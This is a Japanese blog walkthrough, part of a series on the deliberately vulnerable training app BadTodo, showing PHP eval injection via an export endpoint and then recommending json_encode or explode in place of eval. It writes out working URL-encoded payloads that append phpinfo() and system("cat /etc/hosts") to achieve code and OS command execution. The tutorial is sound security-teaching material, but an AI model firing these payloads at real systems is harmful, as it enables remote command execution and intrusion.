やられアプリ BadTodo - 23 evalインジェクション

前回:やられアプリ BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション - demandosigno

幾つかのプログラミング言語は eval(イーバル)という機能や関数を持っています。
eval には複数のコードを解釈し実行する機能がありますが、evalの利用法に問題がある場合、外部から送り込んだスクリプトを実行される危険があります。
(PHPの場合『注意: これは、関数ではなく 言語構造のため、可変関数や名前付き引数を用いてコールすることはできません』とのことです。) PHP: eval - Manual

まずBadTodoでの例を示します。

一覧ページからエクスポートボタンをクリックすることでTodoをエクスポートすることができます。

その時に次のリクエストが流れます。
GET https://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29

BurpのDecoderで「URLデコード」をかけるとデータベースクエリに関する配列であることがわかります。この配列そのものに問題はありません。

次に; phpinfo()という文字列を「URLエンコード」したもの%3b%20%70%68%70%69%6e%66%6f%28%29を先ほどのGETリクエストの後ろにくっつけます。
そうするとhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%70%68%70%69%6e%66%6f%28%29となります。 このアドレスをブラウザで見てみると phpinfo が閲覧できてしまいます。(ログインは不要です)

PHPのコード phpinfo() が実行できたわけです。そのため; system("cat /etc/hosts")のようにしてOSコマンドの実行も可能になります。(PHP 開始タグを含めてはいけません) %3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29をくっつけてhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29

入力値に問題があるため他のエラーも吐いています。

evalインジェクションはソースコードが確認できないと見つけるのが難しい脆弱性ですが、今回の場合はパラメータに誤った文字列を入れればエラー文内に eval() と出ますのでヒントになりそうです。

徳丸本 第2版 p343では evalインジェクションの例としてBase64エンコードのパターンが掲載されています。詳細な説明とシンプルな例で分かりやすいので一読を。

最近でも「日本医師会のサイトにて、eval()を使っていたため JavaScriptのコードが実行できた」という例がありました。
togetter.com

その他の影響例として、
・サイト改ざん
・他サイトへの踏み台
などがあります。

対策

・eval に相当する機能を使わない
今回の例であれば
・implod/explode
・json_encode/json_decode
などで、eval相当の機能を使わなくても同等の処理が実装可能です。

色々記述が不足しているので後日追記予定。

次回:やられアプリ BadTodo - 24 適切でないアップロートファイル制限 - demandosigno

/* -----codeの行番号----- */